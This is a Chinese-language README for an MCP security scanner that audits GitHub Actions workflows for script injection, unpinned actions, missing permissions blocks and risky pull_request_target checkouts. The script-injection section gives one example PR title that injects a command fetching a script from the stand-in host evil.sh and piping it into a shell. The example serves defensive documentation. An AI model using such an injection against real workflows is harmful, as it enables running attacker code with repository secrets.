GitHub Actions Security Audit

github-actions-audit-mcp

一个 MCP 服务，用于审计 GitHub Actions 工作流 YAML 中导致过实际安全事件的漏洞类型——它不是代码检查工具，而是安全扫描器。它会解析真实的 YAML 结构（手写的块解析器，仅覆盖工作流文件实际使用的语法），而不是针对原始文件进行字符串或正则匹配。

可以检测的问题

脚本注入。 任何类似 ${{ github.event.issue.title }} 的表达式，只要包含攻击者可控的文本（Issue/PR 标题、评论、评审内容、分支名称），并直接插入 run: shell 步骤中，都会被检测到。表达式会在 shell 运行之前替换到生成的 shell 脚本中——标题为 "; curl evil.sh | sh # 的 PR 会变成字面的 shell 语法，而不是字符串。这是 GitHub Actions 中最常见的现实漏洞。工具会标出具体表达式，并展示真正能消除此风险的环境变量修复方法。

未固定版本的第三方 Action。 uses: some-action@v4 或 @main 可由控制相应标签或分支的人重新指向其他内容，而你无需改动工作流文件中的任何字符——tj-actions/changed-files 遭入侵事件（2025 年 3 月）就是如此：维护者的 PAT 被用于将 v35–v46 标签重新指向一个窃取凭证的提交。只有完整的 40 字符提交 SHA 才不可变。

缺少 permissions: 块。 未显式设置 permissions: 时，GITHUB_TOKEN 的默认权限取决于仓库或组织的设置——通常为读写权限。任何步骤一旦遭到入侵，就会继承该完整权限范围。

pull_request_target + 检出 PR 的 head。 这个触发器会使用基础仓库的机密信息和写入权限的令牌运行（普通的 pull_request 则不会），而且如果工作流还检出了 PR 自身的 head 提交，来自 fork 的 PR 就可能使用你的机密信息运行任意代码。真实的供应链安全事件中就出现过这种情况。

工具

audit_workflow

全面审计工作流 YAML 文件。返回风险级别以及所有发现的问题，包括具体位置、风险原因和切实可行的修复方法。

check_expression_injection

针对单个 shell 命令字符串进行专项检查，适用于只想快速检查某个 run: 步骤、而不需要审计完整工作流文件的情况。

使用方法

托管服务（推荐）： MCPize——提供免费套餐，Pro 版每月 $7。

自行托管：

npm install
node server.js

属于一个小型工具套件

regex-safety-audit-mcp, mcp-trust-audit-mcp, secrets-leak-audit-mcp, dockerfile-audit-mcp.

许可证

MIT